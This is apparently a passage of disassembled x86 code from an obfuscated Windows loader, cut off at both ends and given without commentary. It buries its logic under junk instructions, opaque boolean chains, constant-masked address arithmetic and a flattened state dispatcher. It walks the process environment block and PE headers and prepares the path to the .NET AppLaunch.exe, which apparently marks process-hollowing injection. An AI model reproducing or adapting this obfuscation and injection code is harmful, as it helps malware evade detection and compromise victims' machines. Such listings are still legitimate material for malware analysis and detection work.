or cl, 1
xor al, 0xff
and al, cl
mov byte [ebp - 0xe4e], al
mov al, bh
xor al, 0xff
mov cl, ah
xor cl, al
mov al, byte [ebp - 0xe4e]
and cl, ah
mov ah, dl
and ah, ch
xor dl, ch
or ah, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov al, ah
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and ah, ch
mov cl, dl
xor cl, 0xff
and cl, 0xff
and dl, ch
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0xe4d], al
mov al, bl
xor al, 0xff
mov dl, dh
xor dl, 0xff
mov cl, 1
xor cl, 0
mov ah, al
and ah, 0
and bl, cl
mov ch, dl
and ch, 0
and dh, cl
or ah, bl
or ch, dh
xor ah, ch
or al, dl
xor al, 0xff
or cl, 0
and al, cl
or ah, al
mov dl, ah
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
and ah, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dl, ah
or al, cl
xor dl, al
mov cl, 1
xor cl, 1
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov ah, cl
and ah, 0xff
mov al, ch
and al, 1
mov bl, dh
and bl, 0xff
and bh, ch
or ah, al
mov al, byte [ebp - 0xe4d]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x624a10c5
mov ecx, 0x3b4d7b98
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x4b4ff5
imul esi
dec eax
neg edi
rcr edi, 0x9a
inc esi
mov ebx, 0x92
imul ebx
imul edi
and esi, 0x9e
and esi, 0xca
inc esi
sub edx, 0xc6
inc edi
add esi, 0x64
rcr edx, 0xd1
sub edx, 0x23
sub edx, 0x9c
dec eax
neg edx
rcl edi, 0xaf
sub edx, 0x10
add eax, 0xab
and eax, 0x67
rcr ebx, 0x7a
imul ebx
imul edx
ror esi, 0xd4
add edi, 0x69
dec esi
rol edi, 0x65
neg edx
and ebx, 0xa8
add ebx, 0xa5
neg eax
not eax
dec edi
sub ebx, 0x20
neg edi
or edx, 0xb8
ror edi, 0xa6
add eax, 0xe9
mov eax, 0xaa
rol edx, 0x76
or edx, 0x2b
bswap edx
or esi, 0x9a
dec esi
inc ebx
neg esi
imul esi
not esi
not eax
imul edx
rcl esi, 0x24
sbb ebx, 4
add esi, 0x6c
not eax
inc esi
sub eax, 0xd4
not edi
rol esi, 0xbe
mov esi, 0x8f
not esi
imul eax
not edx
and edi, 0xa7
or edx, 2
sbb edi, 0x54
neg edx
rcr eax, 0xa0
neg eax
inc esi
neg esi
or edx, 0x11
neg eax
inc eax
bswap ebx
and ebx, 0xef
dec edi
not esi
neg eax
not esi
ror ebx, 0xfa
rol esi, 0xb3
rcr ebx, 3
rol ebx, 0xb8
or edx, 0xcb
ror esi, 0xd8
imul edx
rcl edi, 0x5b
imul eax
bswap edi
imul eax
or ebx, 0x2a
sub eax, 0xf5
and ebx, 0xc1
sbb edi, 0x26
neg eax
sub esi, 0xc2
dec edx
add edx, 0x7e
neg edx
mov eax, 0xdb
mov edi, 0xef
bswap esi
dec esi
dec edx
sbb ebx, 0x4c
and esi, 0x3c
inc edx
rcr ebx, 0x8c
bswap ebx
rol ebx, 0x4e
rol eax, 0x88
or ebx, 0xaa
rcr esi, 0x65
add edi, 0xcc
and esi, 0x33
ror ebx, 0xb3
sbb edx, 0x95
sub ebx, 0xac
imul eax
or eax, 0xd0
or ebx, 0x1a
neg esi
mov eax, 0x3c
rol eax, 0x96
not ebx
not eax
neg eax
add edi, 0x44
bswap edx
rol edi, 0xec
neg ebx
not edi
sub edx, 0xd2
bswap esi
imul edx
dec esi
dec eax
rcr eax, 0x28
neg edx
rol ebx, 0x25
or ebx, 0xd1
sbb ebx, 0xd6
rcl eax, 0xf8
inc esi
sbb ebx, 0x6a
ror ebx, 0xbb
imul edi
mov ecx, eax
mov eax, dword [ebp - 0x1a0]
mov dword [eax], ecx
mov ecx, dword fs:[0x30]
mov eax, dword [ebp - 0x124]
mov dword [eax], ecx
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, 0x1bd63101
xor edx, edx
sub edx, ecx
sub edx, 0x8399cb27
sub edx, 0xc
add edx, 0x8399cb27
xor ecx, ecx
sub ecx, 0x1bd63101
add edx, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x3085c011
add ecx, eax
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
add eax, 0xb8434620
sub eax, 0x3085c011
sub eax, 0xb8434620
mov ecx, dword [eax]
mov eax, dword [ebp - 0x120]
mov dword [eax], ecx
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, 0x207427b3
add eax, ecx
xor ecx, ecx
sub ecx, 0x91b8b991
add eax, ecx
xor ecx, ecx
sub ecx, 0x207427b3
sub eax, ecx
add eax, 0xb681b83
sub eax, 0x114dc7bb
sub eax, 0xb681b83
sub eax, 0x12590d8a
add eax, 0x14
add eax, 0x12590d8a
xor ecx, ecx
sub ecx, 0x114dc7bb
sub eax, ecx
mov ecx, 0xa97e749a
add ecx, 0
sub ecx, 0x91b8b991
sub ecx, 0xa97e749a
add eax, 0x7dcd7e1f
sub eax, ecx
sub eax, 0x7dcd7e1f
mov ecx, dword [eax]
mov eax, 0x4ad11c58
add eax, 0
add eax, 0x3016f13d
sub eax, 0x4ad11c58
sub eax, 0xbb07d6d9
sub eax, 8
add eax, 0xbb07d6d9
sub eax, 0xa610809e
sub eax, 0x3016f13d
add eax, 0xa610809e
xor edx, edx
sub edx, 0xd9b4cead
add ecx, edx
sub ecx, 0xb96832ba
add ecx, eax
add ecx, 0xb96832ba
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0xd9b4cead
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
bswap eax
ror edx, 0x46
sbb ebx, 0x83
and edx, 0xf1
rcr eax, 0x1f
sub ebx, 0x3e
bswap edx
or edx, 0x8e
dec ebx
mov eax, 0x85
sbb eax, 0xa8
mov edi, 0x8f
dec ebx
ror ebx, 0x9d
inc edi
ror eax, 0xeb
and edi, 0xe1
rcr edx, 0x97
rol esi, 0x2b
sbb esi, 0xef
and esi, 0x7c
dec ebx
inc edi
mov ebx, 0x7d
or edx, 0x5b
ror eax, 0x5b
bswap esi
bswap eax
and eax, 0xcd
not ebx
inc eax
sbb edi, 0x6b
and edx, 1
rcr esi, 0xaf
or edi, 0xe3
ror edi, 0xf1
and edi, 0x89
rcl ebx, 0x9d
dec ebx
rcr ebx, 0x20
rol eax, 0xf1
rcl eax, 0xbf
rcr ebx, 0x7b
inc edi
inc eax
neg edi
mov ebx, 0xff
rcl eax, 0x53
not ebx
not edi
and edi, 0x61
dec edi
inc edx
inc edi
rcl esi, 0x30
inc edx
dec edx
imul edi
neg esi
imul esi
or ebx, 0x98
neg edi
not ebx
rol edx, 0x34
not ebx
sub edx, 0x78
sub ebx, 0xe6
sub esi, 0x71
rcl ebx, 0xb4
and edx, 0xdb
neg eax
rcl ebx, 0x22
bswap eax
bswap edi
bswap eax
neg eax
inc esi
not edx
mov esi, 0x16
mov esi, 0xd
or ebx, 0xd6
sub ebx, 0xf7
neg ebx
sub edx, 0xf8
inc edi
add edx, 0x43
mov esi, 0x44
imul ebx
mov ebx, 0x6c
mov edx, 0xea
sub edx, 0xaf
neg ebx
sub eax, 0xae
sbb edi, 0xd7
dec esi
inc edx
dec ebx
inc ebx
sbb eax, 0x20
ror edx, 0xc1
not esi
dec ebx
rcl eax, 0xb4
sub edi, 0x33
imul eax
not edx
sbb eax, 0x7d
imul eax
rcl ebx, 0x21
or edx, 0x5e
not edi
not edi
rcr edx, 0x3e
bswap edi
rol edi, 0x16
add esi, 0xe8
rcr edx, 0xb8
bswap ebx
dec eax
add eax, 0xdb
bswap esi
not edi
sub edx, 0x7c
rcr edi, 0xea
rcr ebx, 0x67
sub edi, 0x47
and edx, 0x67
rol esi, 0xc8
neg edi
imul esi
neg eax
mov esi, 0x99
or eax, 3
bswap ebx
and eax, 6
sub eax, 0xc5
bswap eax
and esi, 0x5a
bswap edi
not ebx
rcl edx, 0x6c
neg eax
neg eax
and eax, 0xb7
and esi, 0x24
or ebx, 0x50
dec esi
bswap edx
or esi, 0x38
neg esi
mov ecx, eax
mov eax, dword [ebp - 0x1a0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x180]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov edx, 0x4cc29749
add edx, 0
add edx, 0x12862200
sub edx, 0x4cc29749
sub edx, 0x6500e653
sub edx, eax
add edx, 0x6500e653
xor eax, eax
sub eax, 0x12862200
add edx, eax
xor eax, eax
sub eax, 0
xor esi, esi
sub esi, 0x62ad14a4
add eax, esi
xor esi, esi
sub esi, eax
sub esi, 0xc53b35d0
sub esi, 8
add esi, 0xc53b35d0
add esi, 0xb725a992
sub esi, 0x62ad14a4
sub esi, 0xb725a992
xor eax, eax
sub eax, edx
add eax, 0
mov edx, 0x68397c0c
add edx, 0
sub edx, esi
sub edx, 0x68397c0c
sub eax, 0xd88b6af8
add eax, edx
add eax, 0xd88b6af8
xor edx, edx
sub edx, 0x46189dfd
sub edx, eax
add edx, 0x46189dfd
xor eax, eax
sub eax, 0x7a889c99
add eax, 0
add eax, 0xa713714f
sub eax, edx
sub eax, 0xa713714f
xor edx, edx
sub edx, eax
xor eax, eax
sub eax, 0x7a889c99
add edx, eax
xor eax, eax
sub eax, edx
mov dword [eax], ecx
mov eax, dword [ebp - 0x180]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
xor esi, esi
sub esi, 0xeb841cbd
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 0x18
add edx, esi
xor esi, esi
sub esi, 0xeb841cbd
add edx, esi
sub eax, 0xb6ae0b74
sub eax, 0x48c91904
add eax, 0xb6ae0b74
sub eax, 0x2e07b7c5
sub eax, edx
add eax, 0x2e07b7c5
add eax, 0xc6c8e8
add eax, 0x48c91904
sub eax, 0xc6c8e8
mov dword [eax], ecx
mov eax, dword [ebp - 0x11c]
mov edx, dword [eax]
xor eax, eax
sub eax, 0x909bcee7
add eax, 0
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, 0x909bcee7
sub eax, ecx
mov esi, 0x8973b93a
add esi, 0
sub esi, 0x24
sub esi, 0x8973b93a
xor ecx, ecx
sub ecx, 0
xor edx, edx
sub edx, esi
add ecx, edx
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x78a97eb1
add ecx, eax
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x78a97eb1
add eax, ecx
xor ecx, ecx
sub ecx, 0x54ec2e32
add ecx, 0
add ecx, 0xa74c5257
sub ecx, eax
sub ecx, 0xa74c5257
sub ecx, 0xc7cfba21
add ecx, 0x54ec2e32
add ecx, 0xc7cfba21
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
inc edx
bswap eax
mov ebx, pe_nt_image_headers32
imul edx
rcl eax, 0xf1
add esi, 0x8c
imul ebx
rol edx, 0xc3
bswap edx
bswap eax
dec edx
rcr edx, 0x37
and eax, 0xb8
imul esi
not esi
dec edi
neg edi
neg edx
not ebx
dec ebx
bswap edx
inc edi
and edx, 0x55
rcr edx, 0x89
sub esi, 0xa9
dec eax
or eax, 0xc4
imul edi
dec edi
and edi, 0x11
bswap eax
and ebx, 0x11
and esi, 0x65
rol edx, 0xb3
rcr edi, 0x9d
bswap edi
bswap esi
mov ebx, 0
rol edi, 0x6e
dec eax
rol esi, 0x3b
inc esi
imul edx
imul edx
neg ebx
imul esi
rcr ebx, 0xf
mov edi, 0xab
mov edx, 0xa4
or edx, 0x6e
mov edi, 0xc3
or ebx, 0xef
not ebx
neg edx
sbb esi, 0x5e
or eax, 0x5b
inc eax
bswap ebx
rcl edx, 0xf7
sub eax, 0x28
bswap eax
rcr esi, 0xc3
rol edx, 0x37
bswap edi
bswap esi
and esi, 0x3c
imul edi
rcl eax, 0x73
imul edi
mov ebx, 7
bswap edx
mov esi, 0x41
sbb edi, 0x8e
mov edi, 0xd5
imul edi
rol esi, 0x90
dec eax
neg edx
inc ebx
inc edi
not esi
rol esi, 0x4f
bswap ebx
sbb esi, 0x6c
or edx, 0x81
bswap edx
or eax, 0xd1
and eax, 0x37
not esi
and esi, 0x47
bswap edx
ror ebx, 0x81
add edx, 0xfa
imul edi
and ebx, 0xad
bswap eax
ror ebx, 0x35
bswap edx
add eax, 0xbb
inc edi
or edi, 0x52
rol eax, 0x8a
bswap esi
or eax, 0x46
sub eax, 0x39
and edi, 0xb1
neg eax
imul edx
not edi
add ebx, 0xfa
and ebx, 0xc2
imul edx
bswap edx
rol esi, 0xeb
bswap edx
rcr esi, 0xc7
sub esi, 0x81
dec esi
bswap edi
rol eax, 0xee
rol edi, 0x55
neg eax
sbb eax, 0x17
rol edx, 0x55
mov esi, 0x58
rol esi, 0x64
rcl eax, 0xc5
sub ebx, 3
ror edi, 0x38
ror esi, 0xc9
neg eax
sbb edx, 0xda
bswap edx
bswap esi
bswap edx
mov eax, 0xed
ror edx, 0x11
add eax, 0x47
bswap edx
inc eax
inc edi
dec ebx
ror ebx, 0x96
rcr ebx, 0x18
rcr eax, 0xf5
rol esi, 0x7f
dec edx
add edx, 0x7d
dec edi
inc esi
mov ecx, eax
mov eax, dword [ebp - 0x1a0]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x114]
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x78
call fcn.005e47f0
add esp, 0xc
mov eax, dword [ebp - 0x190]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x110]
mov byte [eax], cl
mov eax, dword [ebp - 0x110]
mov al, byte [eax]
mov byte [ebp - 0x2d], al
mov dword [ebp - 0x1a8], 0xd497fb12
jmp 0x4b4ff5
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x114]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov cx, ax
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov word [eax], cx
mov ecx, dword [0x6525dc]
mov eax, dword [0x6525d8]
xor esi, esi
sub esi, 0x51ceda9
sub esi, 1
add esi, 0x51ceda9
mov edx, 0xf0776674
add edx, 0
add edx, esi
sub edx, 0xf0776674
mov esi, 0xfcefd3df
add esi, 0
sub esi, edx
sub esi, 0xfcefd3df
mov edx, ecx
sub edx, 0x7745c191
sub edx, esi
add edx, 0x7745c191
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
cmp eax, 0xa
setl cl
mov byte [ebp - 0xf4f], cl
mov al, dl
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
mov dh, dl
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or al, dh
or ah, ch
xor al, ah
xor al, 0xff
xor al, 1
and al, 0xff
mov ch, 1
xor ch, 1
and ch, 1
mov ah, 1
xor ah, 1
and ah, 1
or ch, ah
xor ch, 0xff
mov ah, dl
xor ah, ch
and ah, dl
mov dh, al
and dh, ah
xor al, ah
or dh, al
mov al, cl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
mov ah, cl
and ah, ch
or al, ah
xor al, 0xff
xor al, 1
and al, 0xff
mov ch, 1
xor ch, 1
and ch, 0
mov bl, 1
xor bl, 0
mov bh, bl
and bh, 1
mov ah, 1
xor ah, 1
and ah, 0
and bl, 1
or ch, bh
or ah, bl
xor ch, ah
xor cl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 1
or cl, ch
or ah, 1
xor cl, 0xff
and cl, ah
mov bh, al
and bh, cl
xor al, cl
or bh, al
mov ah, 1
xor ah, 0
and ah, 1
mov al, 1
xor al, 1
and al, 0
or ah, al
mov al, 1
xor al, 1
xor ah, 0xff
mov cl, 1
xor cl, 0
or al, ah
or cl, 0
xor al, 0xff
and al, cl
mov byte [ebp - 0xf59], al
mov ah, 1
xor ah, 1
and ah, 0
mov cl, 1
xor cl, 0
mov ch, cl
and ch, 1
mov al, 1
xor al, 1
and al, 0
and cl, 1
or ah, ch
or al, cl
xor ah, al
mov cl, ah
xor cl, 0xff
xor cl, 0
and cl, 0
mov bl, 1
xor bl, 1
and bl, 1
mov al, 1
xor al, 1
and al, 1
or bl, al
mov al, 1
xor al, 1
mov ch, bl
xor ch, al
mov al, byte [ebp - 0xf59]
and ch, bl
mov byte [ebp - 0xf54], ch
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov byte [ebp - 0xf56], ah
mov ah, al
xor ah, 0xff
mov ch, cl
xor ch, 0xff
mov byte [ebp - 0xf55], ch
mov ch, 1
xor ch, 1
mov bl, ah
and bl, 0xff
and al, ch
mov byte [ebp - 0xf58], al
mov al, byte [ebp - 0xf55]
and al, 0xff
mov byte [ebp - 0xf57], al
mov al, byte [ebp - 0xf58]
and cl, ch
or bl, al
mov al, byte [ebp - 0xf57]
or al, cl
mov cl, byte [ebp - 0xf56]
xor bl, al
mov al, byte [ebp - 0xf55]
or ah, al
mov al, byte [ebp - 0xf54]
xor ah, 0xff
or ch, 1
and ah, ch
or bl, ah
mov ch, al
xor ch, 0xff
mov byte [ebp - 0xf50], ch
mov ah, cl
xor ah, 0xff
mov byte [ebp - 0xf51], ah
mov ah, 1
xor ah, 1
and ch, 0xff
and al, ah
mov byte [ebp - 0xf53], al
mov al, byte [ebp - 0xf51]
and al, 0xff
mov byte [ebp - 0xf52], al
mov al, byte [ebp - 0xf53]
and cl, ah
or ch, al
mov al, byte [ebp - 0xf52]
or al, cl
mov cl, byte [ebp - 0xf51]
xor ch, al
mov al, byte [ebp - 0xf50]
or al, cl
mov cl, byte [ebp - 0xf4f]
xor al, 0xff
or ah, 1
and al, ah
or ch, al
mov al, bl
xor al, 0xff
and al, 1
mov byte [ebp - 0xf4e], al
mov al, 1
xor al, 1
and bl, al
mov ah, ch
xor ah, 0xff
and ah, 0xff
and ch, al
mov al, byte [ebp - 0xf4e]
or al, bl
or ah, ch
xor al, ah
mov byte [ebp - 0xf10], al
mov bl, 1
xor bl, 0
and bl, 1
mov ah, 1
xor ah, 1
and ah, 0
or bl, ah
mov ch, dh
xor ch, 0xff
mov ah, bl
and ah, ch
xor bl, 0xff
mov ch, dh
and ch, bl
or ah, ch
xor ah, 0xff
mov bl, dh
xor bl, 0xff
mov ch, 1
xor ch, 1
or ah, bl
or ch, 1
xor ah, 0xff
and ah, ch
mov byte [ebp - 0xf4a], ah
mov ch, al
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
and al, ah
or ch, al
mov al, dl
xor al, 0xff
and al, 1
mov byte [ebp - 0xf4d], al
mov al, 1
xor al, 1
mov bl, dl
and bl, al
mov ah, ch
xor ah, 0xff
and ah, 0xff
and ch, al
mov al, byte [ebp - 0xf4d]
or al, bl
mov bl, byte [ebp - 0xf10]
or ah, ch
xor al, ah
xor dl, 0xff
mov ah, al
xor ah, dl
and ah, al
mov ch, 1
xor ch, 0
and ch, 1
mov al, 1
xor al, 1
and al, 0
or ch, al
mov dl, bh
xor dl, 0xff
mov al, ch
and al, dl
xor ch, 0xff
mov dl, bh
and dl, ch
or al, dl
xor al, 0xff
mov ch, bh
xor ch, 0xff
mov dl, 1
xor dl, 0
or al, ch
or dl, 0
xor al, 0xff
and al, dl
mov byte [ebp - 0xf31], al
mov dl, bl
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and bl, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or dl, bl
or al, ch
xor dl, al
mov ch, cl
xor ch, 0xff
and ch, 1
mov al, 1
xor al, 1
mov byte [ebp - 0xf4c], al
mov bl, cl
and bl, al
mov al, dl
xor al, 0xff
and al, 0xff
mov byte [ebp - 0xf4b], al
mov al, byte [ebp - 0xf4c]
and dl, al
mov al, byte [ebp - 0xf4b]
or ch, bl
mov bl, byte [ebp - 0xf4a]
or al, dl
xor ch, al
xor ch, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or ch, cl
or al, 1
xor ch, 0xff
and ch, al
mov dl, bl
xor dl, 0xff
and dl, 0
mov cl, 1
xor cl, 0
and bl, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, bl
or al, cl
xor dl, al
mov bl, ah
xor bl, 0xff
and bl, 1
mov cl, 1
xor cl, 1
mov al, ah
and al, cl
or bl, al
mov al, 1
xor al, 1
and al, 1
mov cl, 1
xor cl, 1
and cl, 1
or al, cl
mov byte [ebp - 0xf36], al
mov cl, 1
xor cl, 1
mov al, dl
xor al, cl
mov cl, byte [ebp - 0xf36]
and al, dl
mov byte [ebp - 0xf49], al
mov al, byte [ebp - 0xf4a]
xor cl, 0xff
xor al, cl
mov cl, byte [ebp - 0xf4a]
and al, cl
mov byte [ebp - 0xf48], al
mov al, 1
xor al, 1
mov cl, bl
xor cl, al
mov al, byte [ebp - 0xf36]
and cl, bl
mov byte [ebp - 0xf42], cl
xor ah, 0xff
xor al, 0xff
mov cl, 1
xor cl, 0
or ah, al
mov al, byte [ebp - 0xf49]
or cl, 0
xor ah, 0xff
and ah, cl
mov cl, byte [ebp - 0xf48]
mov byte [ebp - 0xf41], ah
mov ah, al
xor ah, 0xff
mov byte [ebp - 0xf44], ah
xor cl, 0xff
mov byte [ebp - 0xf45], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0xf43], cl
and ah, 0xff
and al, cl
mov cl, byte [ebp - 0xf48]
mov byte [ebp - 0xf47], al
mov al, byte [ebp - 0xf45]
and al, 0xff
mov byte [ebp - 0xf46], al
mov al, byte [ebp - 0xf43]
and cl, al
mov al, byte [ebp - 0xf47]
or ah, al
mov al, byte [ebp - 0xf46]
or al, cl
mov cl, byte [ebp - 0xf45]
xor ah, al
mov al, byte [ebp - 0xf44]
or al, cl
mov cl, byte [ebp - 0xf43]
xor al, 0xff
or cl, 1
and al, cl
mov cl, byte [ebp - 0xf42]
or ah, al
mov al, cl
xor al, 0xff
mov byte [ebp - 0xf3a], al
mov al, byte [ebp - 0xf41]
xor al, 0xff
mov byte [ebp - 0xf3b], al
mov al, 1
xor al, 0
mov byte [ebp - 0xf39], al
mov al, byte [ebp - 0xf3a]
and al, 0
mov byte [ebp - 0xf3f], al
mov al, byte [ebp - 0xf39]
and cl, al
mov al, byte [ebp - 0xf41]
mov byte [ebp - 0xf40], cl
mov cl, byte [ebp - 0xf3b]
and cl, 0
mov byte [ebp - 0xf3e], cl
mov cl, byte [ebp - 0xf39]
and al, cl
mov cl, byte [ebp - 0xf40]
mov byte [ebp - 0xf3d], al
mov al, byte [ebp - 0xf3f]
or al, cl
mov cl, byte [ebp - 0xf3e]
mov byte [ebp - 0xf3c], al
mov al, byte [ebp - 0xf3d]
or cl, al
mov al, byte [ebp - 0xf3c]
xor al, cl
mov cl, byte [ebp - 0xf3b]
mov byte [ebp - 0xf38], al
mov al, byte [ebp - 0xf3a]
or al, cl
mov cl, byte [ebp - 0xf39]
xor al, 0xff
or cl, 0
and al, cl
mov cl, byte [ebp - 0xf38]
or cl, al
mov byte [ebp - 0xf37], cl
mov al, ah
xor al, 0xff
and cl, al
mov al, byte [ebp - 0xf37]
xor al, 0xff
and ah, al
mov al, byte [ebp - 0xf36]
or cl, ah
mov ah, dl
and ah, bl
xor dl, bl
or ah, dl
mov dl, ah
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
and ah, bl
or dl, ah
mov ah, al
and ah, 1
xor al, 1
or ah, al
xor ah, 0xff
mov al, dl
xor al, ah
and al, dl
mov dl, cl
xor dl, 0xff
mov byte [ebp - 0xf34], dl
mov bl, al
xor bl, 0xff
mov ah, 1
xor ah, 0
and dl, 0
mov byte [ebp - 0xf35], dl
and cl, ah
mov dl, bl
and dl, 0
and al, ah
mov byte [ebp - 0xf33], al
mov al, byte [ebp - 0xf35]
or al, cl
mov cl, byte [ebp - 0xf34]
mov byte [ebp - 0xf32], al
mov al, byte [ebp - 0xf33]
or dl, al
mov al, byte [ebp - 0xf32]
xor al, dl
mov dl, byte [ebp - 0xf31]
or cl, bl
xor cl, 0xff
or ah, 0
and cl, ah
or al, cl
mov byte [ebp - 0xf22], al
mov ah, dl
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
and dl, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ah, dl
or al, cl
xor ah, al
mov bl, ch
xor bl, 0xff
and bl, 1
mov cl, 1
xor cl, 1
mov al, ch
and al, cl
or bl, al
mov dl, 1
xor dl, 0
and dl, 1
mov al, 1
xor al, 1
and al, 0
or dl, al
mov al, 1
xor al, 0
mov cl, ah
xor cl, al
mov al, byte [ebp - 0xf31]
and cl, ah
mov byte [ebp - 0xf2c], cl
xor al, 0xff
mov byte [ebp - 0xf30], al
mov cl, dl
xor cl, 0xff
mov al, 1
xor al, 1
mov byte [ebp - 0xf2f], al
mov al, byte [ebp - 0xf30]
or al, cl
mov cl, byte [ebp - 0xf2f]
or cl, 1
xor al, 0xff
and al, cl
mov byte [ebp - 0xf2b], al
mov al, bl
xor al, 0xff
mov byte [ebp - 0xf2e], al
mov cl, 1
xor cl, 0
mov al, 1
xor al, 0
mov byte [ebp - 0xf2d], al
mov al, byte [ebp - 0xf2e]
or al, cl
mov cl, byte [ebp - 0xf2d]
or cl, 0
xor al, 0xff
and al, cl
mov byte [ebp - 0xf25], al
xor ch, 0xff
mov al, dl
xor al, 0xff
mov cl, 1
xor cl, 0
or ch, al
mov al, byte [ebp - 0xf2c]
or cl, 0
xor ch, 0xff
and ch, cl
mov cl, byte [ebp - 0xf2b]
mov byte [ebp - 0xf24], ch
mov ch, al
xor ch, 0xff
mov byte [ebp - 0xf27], ch
xor cl, 0xff
mov byte [ebp - 0xf28], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0xf26], cl
and ch, 0xff
and al, cl
mov cl, byte [ebp - 0xf2b]
mov byte [ebp - 0xf2a], al
mov al, byte [ebp - 0xf28]
and al, 0xff
mov byte [ebp - 0xf29], al
mov al, byte [ebp - 0xf26]
and cl, al
mov al, byte [ebp - 0xf2a]
or ch, al
mov al, byte [ebp - 0xf29]
or al, cl
mov cl, byte [ebp - 0xf28]
xor ch, al
mov al, byte [ebp - 0xf27]
or al, cl
mov cl, byte [ebp - 0xf26]
xor al, 0xff
or cl, 1
and al, cl
mov cl, byte [ebp - 0xf24]
or ch, al
mov al, byte [ebp - 0xf25]
and al, cl
mov cl, byte [ebp - 0xf25]
mov byte [ebp - 0xf23], al
mov al, byte [ebp - 0xf24]
xor cl, al
mov al, byte [ebp - 0xf23]
or al, cl
mov byte [ebp - 0xf21], al
mov cl, ch
xor cl, 0xff
and al, cl
mov cl, byte [ebp - 0xf22]
mov byte [ebp - 0xf20], al
mov al, byte [ebp - 0xf21]
xor al, 0xff
and ch, al
mov al, byte [ebp - 0xf20]
or al, ch
mov ch, ah
and ch, bl
xor ah, bl
or ch, ah
mov ah, ch
xor ah, 0xff
and ah, 1
mov bl, 1
xor bl, 1
and ch, bl
or ah, ch
mov ch, dl
and ch, 0
xor dl, 0
or ch, dl
xor ch, 0xff
mov dl, ah
xor dl, ch
and dl, ah
mov bl, al
and bl, dl
xor al, dl
or bl, al
mov dl, cl
xor dl, 0xff
and dl, 0
mov ah, 1
xor ah, 0
mov ch, cl
and ch, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dl, ch
or al, ah
xor dl, al
xor dl, 0xff
mov al, bl
xor al, dl
and al, bl
mov dl, bl
xor dl, 0xff
and dl, 0
mov ch, 1
xor ch, 0
and bl, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or dl, bl
or ah, ch
xor dl, ah
xor dl, 0xff
mov bl, cl
xor bl, dl
and bl, cl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0xf1f], dl
mov ah, bl
xor ah, 0xff
mov cl, 1
xor cl, 0
and dl, 0
and al, cl
mov ch, ah
and ch, 0
and bl, cl
or dl, al
mov al, byte [ebp - 0xf1f]
or ch, bl
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov ah, dh
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov al, dh
and al, cl
or ah, al
mov ch, bh
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov bl, bh
and bl, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ch, bl
or al, cl
xor ch, al
mov al, 1
xor al, 0
and al, 1
mov byte [ebp - 0xf1e], al
mov bl, 1
xor bl, 1
mov cl, bl
and cl, 0
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0xf1d], al
mov al, byte [ebp - 0xf1e]
and bl, 1
or al, cl
mov cl, byte [ebp - 0xf1d]
or cl, bl
xor al, cl
mov byte [ebp - 0xf14], al
mov cl, ah
xor cl, 0xff
mov al, 1
xor al, 0
mov bl, 1
xor bl, 1
or cl, al
